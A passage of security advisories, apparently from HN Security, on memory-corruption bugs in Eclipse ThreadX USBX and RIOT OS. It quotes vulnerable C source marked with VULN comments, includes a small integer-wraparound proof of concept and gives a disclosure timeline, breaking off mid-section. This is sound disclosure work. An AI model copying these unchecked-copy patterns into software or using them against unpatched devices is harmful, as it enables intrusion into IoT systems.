command.ux_host_class_pima_command_parameter_3 = 0; 606 | command.ux_host_class_pima_command_parameter_4 = 0; 607 | command.ux_host_class_pima_command_parameter_5 = 0; 608 | 609 | /* Then set the command to GET_STORAGE_INFO. */ 610 | command.ux_host_class_pima_command_operation_code = UX_HOST_CLASS_PIMA_OC_GET_STORAGE_INFO; 611 | 612 | /* Allocate some DMA safe memory for receiving the storage info block. */ 613 | storage_buffer = _ux_utility_memory_allocate(UX_SAFE_ALIGN, UX_CACHE_SAFE_MEMORY, UX_HOST_CLASS_PIMA_STORAGE_MAX_LENGTH); 614 | if (storage == UX_NULL) 615 | return(UX_MEMORY_INSUFFICIENT); 616 | 617 | /* Issue the command. */ 618 | status = _ux_host_class_pima_command(pima, &command, UX_HOST_CLASS_PIMA_DATA_PHASE_IN , storage_buffer, 619 | UX_HOST_CLASS_PIMA_STORAGE_MAX_LENGTH, UX_HOST_CLASS_PIMA_STORAGE_MAX_LENGTH); 620 | 621 | /* Check the result. If the result is OK, the storage info block was read properly. */ 622 | if (status == UX_SUCCESS) 623 | { 624 | /* Uncompress the storage descriptor, at least the fixed part. */ 625 | _ux_utility_descriptor_parse(storage_buffer, 626 | _ux_system_class_pima_object_structure, 627 | UX_HOST_CLASS_PIMA_OBJECT_ENTRIES, 628 | (UCHAR *) storage); 629 | 630 | /* Copy the storage description field. Point to the beginning of the storage description string. */ 631 | storage_pointer = storage_buffer + UX_HOST_CLASS_PIMA_STORAGE_VARIABLE_OFFSET; 632 | 633 | /* Get the unicode string length. */ 634 | unicode_string_length = (ULONG) *storage_pointer ; 635 | 636 | /* Copy that string into the storage description field. */ 637 | _ux_utility_memory_copy(storage -> ux_host_class_pima_storage_description, storage_pointer, unicode_string_length); /* Use case of memcpy is verified. */ // VULN: unchecked copy size for a copy in a fixed size (256 bytes) buffer (UX_HOST_CLASS_PIMA_STORAGE_MAX_LENGTH used to dynamically allocate storage_buffer is 512 bytes) 638 | 639 | /* Point to the volume label. */ 640 | storage_pointer = storage_buffer + UX_HOST_CLASS_PIMA_STORAGE_VARIABLE_OFFSET + unicode_string_length; 641 | 642 | /* Get the unicode string length. */ 643 | unicode_string_length = (ULONG) *storage_pointer ; 644 | 645 | /* Copy that string into the storage volume label field. */ 646 | _ux_utility_memory_copy(storage -> ux_host_class_pima_storage_volume_label, storage_pointer, unicode_string_length); /* Use case of memcpy is verified. */ // VULN: unchecked copy size for a copy in a fixed size (256 bytes) buffer (UX_HOST_CLASS_PIMA_STORAGE_MAX_LENGTH used to dynamically allocate storage_buffer is 512 bytes) 647 | 648 | } 649 | 650 | /* Free the original storage info buffer. */ 651 | _ux_utility_memory_free(storage_buffer); 652 | 653 | /* Return completion status. */ 654 | return(status); 655 | } 656 | ``` 657 | 658 | 659 | --[ 4 - Affected products 660 | 661 | Eclipse ThreadX before version 6.4.0 was affected by the vulnerabilities 662 | discussed in this advisory. The other bugs in Eclipse ThreadX NetX Duo and USBX 663 | that we reported will be patched in subsequent releases of Eclipse ThreadX. 664 | 665 | 666 | --[ 5 - Remediation 667 | 668 | Eclipse ThreadX maintainers have fixed all vulnerabilities discussed in this 669 | advisory. 670 | 671 | Please check the official Eclipse ThreadX channels for further information 672 | about fixes. 673 | 674 | 675 | --[ 6 - Disclosure timeline 676 | 677 | We reported the vulnerabilities discussed in this advisory to Microsoft in 678 | December 2023 and early January 2024, via their MSRC Researcher Portal [8]. 679 | For our efforts, we were awarded 7th place in the Top MSRC 2023 Q4 Azure 680 | Security Researchers Leaderboard [9]. 681 | 682 | Following the project ownership transfer to the Eclipse Foundation, with 683 | Microsoft's help, we coordinated with the new maintainers to provide 684 | vulnerability information and fixes to the ThreadX users' community. 685 | 686 | The (simplified) coordinated disclosure timeline follows: 687 | 688 | 2023-12-01: Reported two vulnerabilities to MSRC. 689 | 2023-12-13: MSRC confirmed our first vulnerability. 690 | 2023-12-14: MSRC confirmed our second vulnerability. 691 | 2023-12-21: Reported other two vulnerabilities to MSRC. 692 | 2023-12-31: Reported another vulnerability to MSRC. 693 | 2024-01-02: Reported other three vulnerabilities to MSRC. 694 | 2024-01-05: MSRC confirmed a vulnerability was fixed in version 6.4. 695 | 2024-01-06: MSRC informed us we made the 2023 Q4 leaderboard! 696 | 2024-01-10: MSRC confirmed another vulnerability was fixed in version 6.4. 697 | 2024-02-10: Asked MSRC for updates on all open reports. 698 | 2024-02-16: Asked the Eclipse Foundation for advice on how to proceed. 699 | 2024-02-20: Eclipse replied they were coordinating with MSRC. 700 | 2024-02-21: MSRC informed us of the ownership transfer to Eclipse. 701 | 2024-02-27: MSRC confirmed a third vulnerability was fixed in version 6.4. 702 | 2024-02-28: Upon MSRC's request, we submitted our reports to Eclipse. 703 | 2024-03-05: Eclipse started creating GitHub advisories for all reports. 704 | 2024-03-13: Provided Eclipse with clarifications on some of the reports. 705 | 2024-03-15: MSRC provided some additional feedback on the transition. 706 | 2024-03-18: Eclipse finished creating GitHub advisories for all reports. 707 | 2024-03-22: MSRC closed the remaining cases after the transition. 708 | 2024-03-25: Eclipse published CVE-2024-2212, CVE-2024-2214, CVE-2024-2452. 709 | 2024-03-29: Provided Eclipse with clarifications on remaining reports. 710 | 2024-04-24: Asked for a status update on the remaining reports. 711 | 2024-04-26: Agreed to declass the remaining reports to standard issues. 712 | 2024-05-02: Sent draft advisory and writeup to MSRC and Eclipse. 713 | 2024-05-28: Published advisory and writeup. 714 | 715 | 716 | --[ 7 - Acknowledgments 717 | 718 | We would like to thank MSRC and the Eclipse Foundation (with a special mention 719 | to Marta Rybczynska who took care of coordinated disclosure after the project 720 | ownership change) for triaging and fixing the reported vulnerabilities. It was 721 | a pleasure to work with you! 722 | 723 | 724 | --[ 8 - References 725 | 726 | [1] https://eclipse-foundation.blog/2023/11/21/introducing-eclipse-threadx/ 727 | [2] https://github.com/eclipse-threadx/ 728 | [3] https://security.humanativaspa.it/ost2-zephyr-rtos-and-a-bunch-of-cves/ 729 | [4] https://security.humanativaspa.it/multiple-vulnerabilities-in-rt-thread-rtos/ 730 | [5] https://security.humanativaspa.it/multiple-vulnerabilities-in-riot-os/ 731 | [6] https://security.humanativaspa.it/big-update-to-my-semgrep-c-cpp-ruleset/ 732 | [7] https://security.humanativaspa.it/a-collection-of-weggli-patterns-for-c-cpp-vulnerability-research/ 733 | [8] https://msrc.microsoft.com/report/vulnerability 734 | [9] https://msrc.microsoft.com/blog/2024/01/congratulations-to-the-top-msrc-2023-q4-security-researchers/ 735 | 736 | 737 | Copyright (c) 2024 Marco Ivaldi and Humanativa Group. All rights reserved. 738 | -------------------------------------------------------------------------------- /HNS-2024-07-riot.txt: -------------------------------------------------------------------------------- 1 | --[ HNS-2024-07 - HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Multiple vulnerabilities in RIOT OS 4 | * OS: RIOT <= 2024.01 5 | * Author: Marco Ivaldi 6 | * Date: 2024-05-07 7 | * CVE ID and severity: 8 | * CVE-2024-31225 - High 9 | * CVE-2024-32017 - Critical 10 | * CVE-2024-32018 - High 11 | (low-severity vulnerabilities were not assigned a CVE ID) 12 | * Vendor URL: https://www.riot-os.org/ 13 | * Advisory URLs: 14 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2572-7q7c-3965 15 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-v97j-w9m6-c4h3 16 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-899m-q6pp-hmp3 17 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x3j5-hfrr-5x6q 18 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-pw2r-pp35-xfmj 19 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-c4p4-vv7v-3hx8 20 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-r87w-9vw9-f7cx 21 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2hx7-c324-3rxv 22 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-frp5-4gfp-84j3 23 | * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x27v-gqp4-7jq3 24 | 25 | 26 | --[ 0 - Table of contents 27 | 28 | 1 - Summary 29 | 2 - Background 30 | 3 - Vulnerabilities 31 | 3.1 - CVE-2024-31225 - Lack of size check and buffer overflow in RIOT /sys/net/application_layer/cord/lc/cord_lc.c 32 | 3.2 - CVE-2024-32017 - Buffer overflows in RIOT /sys/net/application_layer/gcoap/ 33 | 3.3 - CVE-2024-32018 - Ineffective size check due to assert() and buffer overflow in RIOT /pkg/nimble/scanlist/nimble_scanlist.c 34 | 3.4 - Unsafe use of the return value of vsnprintf() and out-of-bounds memory access in RIOT /cpu/esp_common/lib_printf.c 35 | 3.5 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/net/ble/skald/skald_eddystone.c 36 | 3.6 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/suit/handlers_command_seq.c 37 | 3.7 - Integer wraparound and buffer overflow in RIOT /drivers/mtd_emulated/mtd_emulated.c 38 | 3.8 - Off-by-one buffer overflow and unterminated string in RIOT /pkg/lwext4/fs/lwext4_fs.c 39 | 3.9 - Unsafe use of the return value of snprintf() and out-of-bounds memory access in RIOT /sys/shell/cmds/vfs.c 40 | 3.10 - Lack of size checks and buffer overflows in RIOT /sys/net/application_layer/emcute/emcute.c 41 | 4 - Affected products 42 | 5 - Remediation 43 | 6 - Disclosure timeline 44 | 7 - Acknowledgments 45 | 8 - References 46 | 47 | 48 | --[ 1 - Summary 49 | 50 | "Where there is parsing, there are bugs." 51 | -- Dr. Silvio Cesare 52 | 53 | RIOT [1] is a free, open-source, real-time operating system developed by a 54 | grassroots community gathering companies, academia, and hobbyists, distributed 55 | all around the world. It supports most low-power IoT devices, microcontroller 56 | architectures (32-bit, 16-bit, 8-bit), and external devices. RIOT aims to 57 | implement all relevant open standards supporting an Internet of Things that is 58 | connected, secure, durable, and privacy friendly. 59 | 60 | We reviewed RIOT's source code hosted on GitHub [2] and identified multiple 61 | security vulnerabilities that may cause memory corruption. Their impacts range 62 | from denial of service to potential arbitrary code execution. 63 | 64 | 65 | --[ 2 - Background 66 | 67 | Continuing our recent vulnerability research work in the IoT space [3] [4], we 68 | keep assisting open-source projects in finding and fixing vulnerabilities by 69 | reviewing their source code, with the final goal to make IoT more secure. In 70 | January 2024, RIOT was selected as a target of interest. 71 | 72 | During the source code review, we put our Semgrep C/C++ ruleset [5] and weggli 73 | pattern collection [6] to good use to identify hotspots in code on which to 74 | focus our attention. 75 | 76 | 77 | --[ 3 - Vulnerabilities 78 | 79 | The vulnerabilities resulting from our source code review are briefly described 80 | in the following sections. 81 | 82 | 83 | --[ 3.1 - CVE-2024-31225 - Lack of size check and buffer overflow in RIOT /sys/net/application_layer/cord/lc/cord_lc.c 84 | 85 | We spotted the lack of a size check that may lead to a buffer overflow in RIOT 86 | source code at: 87 | 88 | * /sys/net/application_layer/cord/lc/cord_lc.c 89 | 90 | The `_on_rd_init()` function does not implement a size check before copying 91 | data to the `_result_buf` static buffer. If an attacker can craft a long enough 92 | payload, they could cause a buffer overflow. 93 | 94 | See the marked line below: 95 | ```c 96 | static void _on_rd_init(const gcoap_request_memo_t *memo, coap_pkt_t *pdu, 97 | const sock_udp_ep_t *remote) 98 | { 99 | (void)remote; 100 | 101 | thread_flags_t flag = FLAG_NORSC; 102 | 103 | if (memo->state == GCOAP_MEMO_RESP) { 104 | unsigned ct = coap_get_content_type(pdu); 105 | if (ct != COAP_FORMAT_LINK) { 106 | DEBUG("cord_lc: error payload not in link format: %u\n", ct); 107 | goto end; 108 | } 109 | if (pdu->payload_len == 0) { 110 | DEBUG("cord_lc: error empty payload\n"); 111 | goto end; 112 | } 113 | memcpy(_result_buf, pdu->payload, pdu->payload_len); // VULN: lack of size check and potential buffer overflow 114 | _result_buf_len = pdu->payload_len; 115 | _result_buf[_result_buf_len] = '\0'; 116 | flag = FLAG_SUCCESS; 117 | } else if (memo->state == GCOAP_MEMO_TIMEOUT) { 118 | flag = FLAG_TIMEOUT; 119 | } 120 | 121 | end: 122 | if (flag != FLAG_SUCCESS) { 123 | _result_buf = NULL; 124 | _result_buf_len = 0; 125 | } 126 | thread_flags_set(_waiter, flag); 127 | } 128 | ``` 129 | 130 | Note that the `_on_lookup()` function in the same file does implement such an 131 | explicit size check: 132 | ```c 133 | static void _on_lookup(const gcoap_request_memo_t *memo, coap_pkt_t *pdu, 134 | const sock_udp_ep_t *remote) 135 | { 136 | (void)remote; 137 | 138 | thread_flags_t flag = FLAG_ERR; 139 | 140 | if (memo->state == GCOAP_MEMO_RESP) { 141 | unsigned ct = coap_get_content_type(pdu); 142 | if (ct != COAP_FORMAT_LINK) { 143 | DEBUG("cord_lc: unsupported content format: %u\n", ct); 144 | thread_flags_set(_waiter, flag); 145 | } 146 | if (pdu->payload_len == 0) { 147 | flag = FLAG_NORSC; 148 | thread_flags_set(_waiter, flag); 149 | } 150 | if (pdu->payload_len >= _result_buf_len) { // CHECK 151 | flag = FLAG_OVERFLOW; 152 | thread_flags_set(_waiter, flag); 153 | } 154 | memcpy(_result_buf, pdu->payload, pdu->payload_len); 155 | memset(_result_buf + pdu->payload_len, 0, 156 | _result_buf_len - pdu->payload_len); 157 | _result_buf_len = pdu->payload_len; 158 | flag = FLAG_SUCCESS; 159 | } else if (memo->state == GCOAP_MEMO_TIMEOUT) { 160 | flag = FLAG_TIMEOUT; 161 | } 162 | 163 | thread_flags_set(_waiter, flag); 164 | } 165 | ``` 166 | 167 | If the unchecked input above is attacker-controlled and crosses a security 168 | boundary, the impact of the buffer overflow vulnerability could range from 169 | denial of service to arbitrary code execution. 170 | 171 | Fixes: 172 | https://github.com/RIOT-OS/RIOT/pull/20547 173 | 174 | See also: 175 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2572-7q7c-3965 176 | 177 | 178 | --[ 3.2 - CVE-2024-32017 - Buffer overflows in RIOT /sys/net/application_layer/gcoap/ 179 | 180 | We spotted a typo in a size check that may lead to a buffer overflow in RIOT 181 | source code at: 182 | 183 | * /sys/net/application_layer/gcoap/dns.c 184 | 185 | We also spotted another potential buffer overflow in RIOT source code at: 186 | 187 | * /sys/net/application_layer/gcoap/forward_proxy.c 188 | 189 | The size check in the `gcoap_dns_server_proxy_get()` function contains a small 190 | typo that may lead to a buffer overflow in the subsequent `strcpy()`. The 191 | length of the `_uri` string is checked instead of the length of the `_proxy` 192 | string. 193 | 194 | See the marked lines below: 195 | ```c 196 | ssize_t gcoap_dns_server_proxy_get(char *proxy, size_t proxy_len) 197 | { 198 | ssize_t res = 0; 199 | mutex_lock(&_client_mutex); 200 | if (_dns_server_uri_isset()) { 201 | res = strlen(_uri); // VULN: typo, should be strlen(_proxy) 202 | if (((size_t)res + 1) > proxy_len) { 203 | /* account for trailing \0 */ 204 | res = -ENOBUFS; 205 | } 206 | else { 207 | strcpy(proxy, _proxy); // VULN: potential buffer overflow 208 | } 209 | } 210 | mutex_unlock(&_client_mutex); 211 | return res; 212 | } 213 | ``` 214 | 215 | The `_gcoap_forward_proxy_copy_options()` function does not implement an 216 | explicit size check before copying data to the `cep->req_etag` buffer that is 217 | `COAP_ETAG_LENGTH_MAX` bytes long. If an attacker can craft input so that 218 | optlen becomes larger than `COAP_ETAG_LENGTH_MAX`, they can cause a buffer 219 | overflow. 220 | 221 | See the marked line below: 222 | ```c 223 | static int _gcoap_forward_proxy_copy_options(coap_pkt_t *pkt, 224 | coap_pkt_t *client_pkt, 225 | client_ep_t *cep, 226 | uri_parser_result_t *urip) 227 | { 228 | /* copy all options from client_pkt to pkt */ 229 | coap_optpos_t opt = {0, 0}; 230 | uint8_t *value; 231 | bool uri_path_added = false; 232 | bool etag_added = false; 233 | 234 | for (int i = 0; i < client_pkt->options_len; i++) { 235 | ssize_t optlen = coap_opt_get_next(client_pkt, &opt, &value, !i); 236 | /* wrt to ETag option slack: we always have at least the Proxy-URI option in the client_pkt, 237 | * so we should hit at least once (and it's opt_num is also >= COAP_OPT_ETAG) */ 238 | if (optlen >= 0) { 239 | if (IS_USED(MODULE_NANOCOAP_CACHE) && !etag_added && (opt.opt_num >= COAP_OPT_ETAG)) { 240 | static const uint8_t tmp[COAP_ETAG_LENGTH_MAX] = { 0 }; 241 | /* add slack to maybe add an ETag on stale cache hit later, as is done in 242 | * gcoap_req_send() (which we circumvented in _gcoap_forward_proxy_via_coap()) */ 243 | if (coap_opt_add_opaque(pkt, COAP_OPT_ETAG, tmp, sizeof(tmp))) { 244 | etag_added = true; 245 | } 246 | } 247 | if (IS_USED(MODULE_NANOCOAP_CACHE) && opt.opt_num == COAP_OPT_ETAG) { 248 | if (_cep_get_req_etag_len(cep) == 0) { 249 | /* TODO: what to do on multiple ETags? */ 250 | _cep_set_req_etag_len(cep, (uint8_t)optlen); 251 | #if IS_USED(MODULE_NANOCOAP_CACHE) 252 | /* req_tag in cep is pre-processor guarded so we need to as well */ 253 | memcpy(cep->req_etag, value, optlen); // VULN: potential buffer overflow if optlen can become larger than COAP_ETAG_LENGTH_MAX 254 | #endif 255 | ... 256 | ``` 257 | 258 | If the input above is attacker-controlled and crosses a security boundary, the 259 | impact of the buffer overflow vulnerabilities could range from denial of 260 | service to arbitrary code execution. 261 | 262 | Fixes: 263 | https://github.com/RIOT-OS/RIOT/pull/20561 264 | https://github.com/RIOT-OS/RIOT/pull/20579 265 | 266 | See also: 267 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-v97j-w9m6-c4h3 268 | 269 | 270 | --[ 3.3 - CVE-2024-32018 - Ineffective size check due to assert() and buffer overflow in RIOT /pkg/nimble/scanlist/nimble_scanlist.c 271 | 272 | We spotted an ineffective size check implemented via `assert()` that may lead 273 | to a buffer overflow in RIOT source code at: 274 | 275 | * /pkg/nimble/scanlist/nimble_scanlist.c 276 | 277 | Most codebases define assertion macros which compile to a no-op on non-debug 278 | builds. If assertions are the only line of defense against untrusted input, the 279 | software may be exposed to attacks that leverage the lack of proper input 280 | checks. 281 | 282 | In detail, in the `nimble_scanlist_update()` function below, `len` is checked 283 | in an assertion and subsequently used in a call to `memcpy()`. If an attacker 284 | is able to provide a larger `len` value while assertions are compiled-out, they 285 | can write past the end of the fixed-length `e->ad` buffer. 286 | 287 | See the marked lines below: 288 | ```c 289 | /** 290 | * @brief Data structure for holding a single scanlist entry 291 | */ 292 | typedef struct { 293 | clist_node_t node; /**< list node */ 294 | ble_addr_t addr; /**< a node's BLE address */ 295 | uint8_t ad[BLE_ADV_PDU_LEN]; /**< the received raw advertising data */ 296 | uint8_t ad_len; /**< length of the advertising data */ 297 | int8_t last_rssi; /**< last RSSI of a scanned node */ 298 | uint32_t adv_msg_cnt; /**< number of adv packets by a node */ 299 | uint32_t first_update; /**< first packet timestamp */ 300 | uint32_t last_update; /**< last packet timestamp */ 301 | uint8_t type; /**< advertising packet type */ 302 | uint8_t phy_pri; /**< primary PHY used */ 303 | uint8_t phy_sec; /**< secondary PHY advertised */ 304 | } nimble_scanlist_entry_t; 305 | 306 | ... 307 | 308 | void nimble_scanlist_update(uint8_t type, const ble_addr_t *addr, 309 | const nimble_scanner_info_t *info, 310 | const uint8_t *ad, size_t len) 311 | { 312 | assert(addr); 313 | assert(len <= BLE_ADV_PDU_LEN); // VULN: len is checked to be <= BLE_ADV_PDU_LEN only via an assertion 314 | 315 | uint32_t now = (uint32_t)ztimer_now(ZTIMER_USEC); 316 | nimble_scanlist_entry_t *e = _find(addr); 317 | 318 | if (!e) { 319 | e = (nimble_scanlist_entry_t *)clist_lpop(&_pool); 320 | if (!e) { 321 | /* no space available, dropping newly discovered node */ 322 | return; 323 | } 324 | memcpy(&e->addr, addr, sizeof(ble_addr_t)); 325 | if (ad) { 326 | memcpy(e->ad, ad, len); // VULN: if len is actually larger than BLE_ADV_PDU_LEN there's a potential buffer overflow 327 | } 328 | e->ad_len = len; 329 | e->last_rssi = info->rssi; 330 | e->first_update = now; 331 | e->adv_msg_cnt = 1; 332 | e->type = type; 333 | e->phy_pri = info->phy_pri; 334 | e->phy_sec = info->phy_sec; 335 | clist_rpush(&_list, (clist_node_t *)e); 336 | } 337 | else { 338 | e->adv_msg_cnt++; 339 | } 340 | 341 | e->last_update = now; 342 | } 343 | ``` 344 | 345 | If the unchecked input above is attacker-controlled and crosses a security 346 | boundary, the impact of the buffer overflow vulnerability could range from 347 | denial of service to arbitrary code execution. 348 | 349 | Fixes: 350 | https://github.com/RIOT-OS/RIOT/pull/20555 351 | 352 | See also: 353 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-899m-q6pp-hmp3 354 | 355 | 356 | --[ 3.4 - Unsafe use of the return value of vsnprintf() and out-of-bounds memory access in RIOT /cpu/esp_common/lib_printf.c 357 | 358 | We spotted an unsafe use of the return value of `vsnprintf()` that leads to an 359 | out-of-bounds memory access in RIOT source code at: 360 | 361 | * /cpu/esp_common/lib_printf.c 362 | 363 | The `vsnprintf()` API function returns the number of characters (excluding the 364 | terminating NUL byte) which would have been written to the destination string 365 | if enough space had been available. 366 | 367 | If an attacker is able to craft input so that the final string would become 368 | larger than `PRINTF_BUFSIZ`, they can exploit this bug to overwrite a '\n', 369 | '\r' or ' ' byte (or a sequence of such bytes) with a NUL byte in memory past 370 | the end of the `_printf_buf` static buffer. In addition, the tainted `len` 371 | value is returned at the end of the `_lib_printf()` function and may be used 372 | unsafely (e.g., as an array index) elsewhere in the code. 373 | 374 | See the marked lines below: 375 | ```c 376 | static char _printf_buf[PRINTF_BUFSIZ]; 377 | 378 | static int _lib_printf(int level, const char* tag, const char* format, va_list arg) 379 | { 380 | if (level > LOG_LEVEL) { 381 | return 0; 382 | } 383 | 384 | int len = vsnprintf(_printf_buf, PRINTF_BUFSIZ - 1, format, arg); // VULN: vsnprintf() returns the total length of the string it tried to create, which may be larger than the actual size of the destination string 385 | 386 | /* 387 | * Since ESP_EARLY_LOG macros add a line break at the end, a terminating 388 | * line break in the output must be removed if there is one. 389 | */ 390 | _printf_buf[PRINTF_BUFSIZ - 1] = 0; 391 | int i; 392 | for (i = len - 1; i >= 0; --i) { 393 | if (_printf_buf[i] != '\n' && _printf_buf[i] != '\r' && _printf_buf[i] != ' ') { 394 | break; 395 | } 396 | _printf_buf[i] = 0; // VULN: very limited oob array write access 397 | } 398 | if (i > 0) { 399 | ESP_EARLY_LOGI(tag, "%s", _printf_buf); 400 | } 401 | va_end(arg); 402 | return len; // VULN: tainted len value is returned 403 | } 404 | ``` 405 | 406 | In our understanding, the impact of this vulnerability in this specific case is 407 | quite limited. However, all bugs that have the potential to cause memory 408 | corruption should be taken seriously and fixed as security bugs. 409 | 410 | Fixes: 411 | https://github.com/RIOT-OS/RIOT/pull/20596 412 | 413 | See also: 414 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x3j5-hfrr-5x6q 415 | 416 | 417 | --[ 3.5 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/net/ble/skald/skald_eddystone.c 418 | 419 | We spotted an ineffective size check implemented via `assert()` that may lead 420 | to a buffer overflow in RIOT source code at: 421 | 422 | * /sys/net/ble/skald/skald_eddystone.c 423 | 424 | Most codebases define assertion macros which compile to a no-op on non-debug 425 | builds. If assertions are the only line of defense against untrusted input, the 426 | software may be exposed to attacks that leverage the lack of proper input 427 | checks. 428 | 429 | In detail, in the `skald_eddystone_url_adv()` function below, `len` is checked 430 | in an assertion and subsequently used in a call to `memcpy()`. If an attacker 431 | is able to provide a large `url` while assertions are compiled-out, they can 432 | write past the end of the `pdu->url` buffer. 433 | 434 | See the marked lines below: 435 | ```c 436 | void skald_eddystone_url_adv(skald_ctx_t *ctx, 437 | uint8_t scheme, const char *url, uint8_t tx_pwr, 438 | uint32_t adv_itvl_ms) 439 | { 440 | assert(url && ctx); 441 | size_t len = strlen(url); 442 | assert(len <= (NETDEV_BLE_PDU_MAXLEN - (URL_HDR_LEN + PREAMBLE_LEN))); // VULN: len is checked only via an assertion 443 | 444 | eddy_url_t *pdu = (eddy_url_t *)ctx->pkt.pdu; 445 | _init_pre(&pdu->pre, EDDYSTONE_URL, (URL_HDR_LEN + len)); 446 | 447 | /* set remaining service data fields */ 448 | pdu->tx_pwr = tx_pwr; 449 | pdu->scheme = scheme; 450 | memcpy(pdu->url, url, len); // VULN: if len is actually larger than expected there's a potential buffer overflow 451 | 452 | /* start advertising */ 453 | ctx->pkt.len = (sizeof(pre_t) + 2 + len); 454 | ctx->adv_itvl_ms = adv_itvl_ms; 455 | skald_adv_start(ctx); 456 | } 457 | ``` 458 | 459 | If the unchecked input above is attacker-controlled and crosses a security 460 | boundary, the impact of the buffer overflow vulnerability could range from 461 | denial of service to arbitrary code execution. 462 | 463 | Fixes: 464 | https://github.com/RIOT-OS/RIOT/pull/20577 465 | 466 | See also: 467 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-pw2r-pp35-xfmj 468 | 469 | 470 | --[ 3.6 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/suit/handlers_command_seq.c 471 | 472 | We spotted an ineffective size check implemented via `assert()` that may lead 473 | to a buffer overflow in RIOT source code at: 474 | 475 | * /sys/suit/handlers_command_seq.c 476 | 477 | Most codebases define assertion macros which compile to a no-op on non-debug 478 | builds. If assertions are the only line of defense against untrusted input, the 479 | software may be exposed to attacks that leverage the lack of proper input 480 | checks. 481 | 482 | In detail, in the `_dtv_fetch()` function below, `url_len` is checked in an 483 | assertion and subsequently used in a call to `memcpy()`. If an attacker is able 484 | to provide a large `url` while assertions are compiled-out, they can write past 485 | the end of the `manifest->urlbuf` buffer. 486 | 487 | See the marked lines below: 488 | ```c 489 | static int _dtv_fetch(suit_manifest_t *manifest, int key, 490 | nanocbor_value_t *_it) 491 | { 492 | (void)key; (void)_it; 493 | LOG_DEBUG("_dtv_fetch() key=%i\n", key); 494 | 495 | const uint8_t *url; 496 | size_t url_len; 497 | 498 | /* Check the policy before fetching anything */ 499 | int res = suit_policy_check(manifest); 500 | if (res) { 501 | return SUIT_ERR_POLICY_FORBIDDEN; 502 | } 503 | 504 | suit_component_t *comp = _get_component(manifest); 505 | 506 | /* Deny the fetch if the component was already fetched before */ 507 | if (suit_component_check_flag(comp, SUIT_COMPONENT_STATE_FETCHED)) { 508 | LOG_ERROR("Component already fetched before\n"); 509 | return SUIT_ERR_INVALID_MANIFEST; 510 | } 511 | 512 | nanocbor_value_t param_uri; 513 | suit_param_ref_to_cbor(manifest, &comp->param_uri, 514 | ¶m_uri); 515 | int err = nanocbor_get_tstr(¶m_uri, &url, &url_len); 516 | if (err < 0) { 517 | LOG_DEBUG("URL parsing failed\n)"); 518 | return err; 519 | } 520 | 521 | assert(manifest->urlbuf && url_len < manifest->urlbuf_len); // VULN: url_len is checked only via an assertion 522 | memcpy(manifest->urlbuf, url, url_len); // VULN: if url_len is actually larger than expected there's a potential buffer overflow 523 | manifest->urlbuf[url_len] = '\0'; 524 | ... 525 | ``` 526 | 527 | If the unchecked input above is attacker-controlled and crosses a security 528 | boundary, the impact of the buffer overflow vulnerability could range from 529 | denial of service to arbitrary code execution. 530 | 531 | Fixes: 532 | https://github.com/RIOT-OS/RIOT/pull/20559 533 | 534 | See also: 535 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-c4p4-vv7v-3hx8 536 | 537 | 538 | --[ 3.7 - Integer wraparound and buffer overflow in RIOT /drivers/mtd_emulated/mtd_emulated.c 539 | 540 | We spotted an integer wraparound in a size check that leads to a buffer 541 | overflow in RIOT source code at: 542 | 543 | * /drivers/mtd_emulated/mtd_emulated.c 544 | 545 | If an attacker is able to provide arbitrary values for the `num` and `sector` 546 | arguments to the `_erase_sector()` function, they can cause an integer 547 | wraparound to bypass the size check and cause a buffer overflow. 548 | 549 | See the marked lines below: 550 | ```c 551 | static int _erase_sector(mtd_dev_t *dev, uint32_t sector, uint32_t num) 552 | { 553 | mtd_emulated_t *mtd = (mtd_emulated_t *)dev; 554 | 555 | (void)mtd; 556 | assert(mtd); 557 | 558 | if (/* sector must not exceed the number of sectors */ 559 | (sector >= mtd->base.sector_count) || 560 | /* sector + num must not exceed the number of sectors */ 561 | ((sector + num) > mtd->base.sector_count)) { // VULN: integer wraparound in size check 562 | return -EOVERFLOW; 563 | } 564 | 565 | memset(mtd->memory + (sector * (mtd->base.pages_per_sector * mtd->base.page_size)), 566 | 0xff, num * (mtd->base.pages_per_sector * mtd->base.page_size)); // VULN: buffer overflow 567 | 568 | return 0; 569 | } 570 | ``` 571 | 572 | We put together a quick proof-of-concept to demonstrate this issue: 573 | ``` 574 | raptor@blumenkraft Research % cat wraparound5.c 575 | #include 576 | #include 577 | #include 578 | 579 | #define SECTOR_COUNT 256 580 | 581 | static int _erase_sector(uint32_t sector, uint32_t num) 582 | { 583 | if (/* sector must not exceed the number of sectors */ 584 | (sector >= SECTOR_COUNT) || 585 | /* sector + num must not exceed the number of sectors */ 586 | ((sector + num) > SECTOR_COUNT)) { // VULN: wraparound 587 | printf("OVERFLOW\n"); 588 | return 1; 589 | } 590 | 591 | printf("sector + num = %"PRIu32"\n", sector + num); 592 | 593 | return 0; 594 | } 595 | 596 | int main(int argc, char **argv) 597 | { 598 | if (argc < 3) 599 | return 1; 600 | 601 | return _erase_sector(atoi(argv[1]), atoi(argv[2])); 602 | } 603 | raptor@blumenkraft Research % make wraparound5 604 | cc wraparound5.c -o wraparound5 605 | raptor@blumenkraft Research % ./wraparound5 250 10 606 | OVERFLOW 607 | raptor@blumenkraft Research % ./wraparound5 250 4294967295 608 | sector + num = 249 609 | ``` 610 | 611 | If the input above is attacker-controlled and crosses a security boundary, the 612 | impact of the buffer overflow vulnerability could range from denial of service 613 | to (less likely in this case) arbitrary code execution. 614 | 615 | Fixes: 